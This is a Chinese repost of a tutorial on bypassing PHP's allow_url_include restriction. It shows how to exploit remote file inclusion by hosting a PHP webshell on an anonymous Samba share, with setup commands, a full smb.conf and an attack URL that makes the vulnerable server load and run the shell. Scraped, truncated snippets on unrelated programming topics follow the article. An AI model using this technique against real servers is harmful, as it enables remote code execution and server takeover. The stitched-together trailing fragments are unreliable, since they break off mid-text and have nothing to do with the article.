利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制

来源:http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1

前言

文章讲诉了如何绕过远程URL包含限制。在PHP开发环境php.ini配置文件里”,allow_url_include“为“off”的情况下,不允许PHP加载远程HTTP或FTP url包含远程文件。但是使用SMB依旧可以加载。

攻击思路

攻击者需要配置SMB服务器,启用匿名浏览访问。利用有漏洞的PHP代码从SMB共享里访问PHP Webshell。

  • 配置php.ini文件禁用 "allow_url_fopen" 和 "allow_url_include" 。
  • 配置SMB服务器的匿名读访问权
  • 利用有漏洞的PHP程序访问SMB

PHP环境设置

在PHP.ini文件里把 "allow_url_fopen" 和 "allow_url_include" 设为 "Off"。

当前配置PHP版本为“5.5.11”:

确定PHP不允许远程文件包含

试图从远程主机包含PHP Web shell时,应用程序抛出错误并且没有发生RFI。

配置匿名读访问SAMBA服务器(Linux)

使用下面提到的命令安装SAMBA服务器:

创建SMB共享目录(/var/www/html/pub/)

  mkdir /var/www/html/pub/ 

配置SMB共享目录的权限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

运行以下提到的命令删除SAMBA服务器配置文件的默认内容

  echo > /etc/samba/smb.conf

将下面提到的内容放在‘/etc/samba/smb.conf‘文件中

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

重新启动SAMBA服务器

  service smbd restart 

成功重新启动SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不需要凭据验证。

 \\192.168.0.3\

在SMB共享中托管PHP Web shell

在目录‘/var/www/html/pub‘中托管PHP shell

利用Windows Explorer打开SMB访问 Win+R直接访问。

 \\192.168.0.3\ica\

攻击文件包含漏洞参数

利用SMB的php webshell路径传入文件包含漏洞的参数里。

 http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php

SMB共享中获取Web shell并在应用程序服务器上顺利执行PHP代码,绕过了远程文件包含的限制。

原文地址:https://www.cnblogs.com/17bdw/p/10987338.html

时间: 2024-08-29 16:37:46

利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制的相关文章

WPF程序中App.Config文件的读与写

原文:WPF程序中App.Config文件的读与写 WPF程序中的App.Config文件是我们应用程序中经常使用的一种配置文件,System.Configuration.dll文件中提供了大量的读写的配置,所以它是一种高效的程序配置方式,那么今天我就这个部分来做一次系统性的总结. App.Config文件是系统默认的应用程序配置文件,在我们使用后进行编译时会生成"程序集名称+.exe.config"文件,其本质上也是一个XML文件,在我们的应用程序中添加应用程序配置文件后,默认生成下

Java程序中读取外部文件时的路径问题

转自:https://www.cnblogs.com/wt20/p/8320346.html 项目经常会读取一些配置文件, 因此getResource方法便能够起到重要作用 使用时主要是两种方法, 一个是字节码文件Class类, 另一个是ClassLoader类加载器 使用Class类时有两种使用方式: 1. 使用"/"  获取到的是classpath路径 2. 不使用"/" 这就是相对路径 ClassLoader类 没有"/"的写法, 获取到的

在VC程序中获得资源文件中定义的公司名称

今天想从自己定义的资源文件中取出公司名称, 百度了下发现全是关于从资源文件中取得版本号的办法, 还好微软的MSDN给了我答案, 为了以后方便自己和别人, 就把这个函数贴出来. 希望百度能优化一下自己的搜索算法, 搜出来的结果几乎都是重复的, 想用能搜出来的结果用不了.百度的这一毛病也映射出了中国网民的复制粘贴的"情结"特别严重, 都是原样复制, 其中的错误都不改一下. ///////////////////////////////////////////////////////////

程序中的库文件

在java中,我们之间使用源码作为库文件,在编译时,就像自己写的代码一样被编译.但是c,c++语言的库都是被编译成了二进制文件,调用者不使用源码,相对来说更复杂一些,比如window下有dll库,linux下有.a,.so库,macos有dylib库.下载opencv库,要进行本地编译,然后在链接过程中,使用了库文件. 参考博文:dll库的编写和使用:https://www.cnblogs.com/chechen/p/8676226.html dll库和.so库对比:https://www.cn

2.QT中使用资源文件,程序打包

 1 程序中使用资源文件 A  一个QT空项目 B  右击项目,添加新文件 添加后的效果是 C  右击main.prc,选择"添加现有项",找到要使用的资源文件.最终的效果是: D 使用qrc文件 T27Resource.pro RESOURCES += \ main.qrc SOURCES += \ main.cpp QT += gui widgets main.cpp #include <QApplication> #include <QLabel> #

在net安装程序中部署oracle客户端全攻略

主要的是要做三件工作: 打包文件,写注册表,注册环境变量说明:我的oracle版本为9, 在2000 advanced server 上测试通过,可以正常创建数据库连接 1.打包文件目录结果如下图所示 以下是我的打包程序中的文件目录,bin : 最重要的当然是bin目录,在我的打包程序中,需要29个文件:   --------------------oci.dlloraclient9.dlloracommon9.dllORACORE9.DLLorageneric9.dlloraldapclnt9

C语言中的头文件

1.头文件#include <> :表示引用标准库头文件,编译器会从系统配置的库环境中去寻找 2.头文件#include "":一般表示用户自己定义使用的头文件,编译器默认会从当前文件夹中寻找,如果找不到,则到系统默认库环境中去寻找. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 在C语言家族程序中,头文件被大量使用.一般而言,每个C++/C程序通常由头文件(header files)和

linux c程序中获取shell脚本输出的实现方法

linux c程序中获取shell脚本输出的实现方法 1. 前言Unix界有一句名言:“一行shell脚本胜过万行C程序”,虽然这句话有些夸张,但不可否认的是,借助脚本确实能够极大的简化一些编程工作.比如实现一个ping程序来测试网络的连通性,实现ping函数需要写上200~300行代码,为什么不能直接调用系统的ping命令呢?通常在程序中通过 system函数来调用shell命令.但是,system函数仅返回命令是否执行成功,而我们可能需要获得shell命令在控制台上输出的结果.例如,执行外部

.net 直接输出远程文件到浏览器和下载文件保存到本机

利用了xmlhttp,实现代码比较简单具体实现如下: 首先bin文件引入,com->microsoft xml v3.0 具体代码如下: protected void Button1_Click(object sender, EventArgs e) { string FileNames = "201406251824392435.pdf", ContentType = ""; string houzhui = FileNames.Substring(File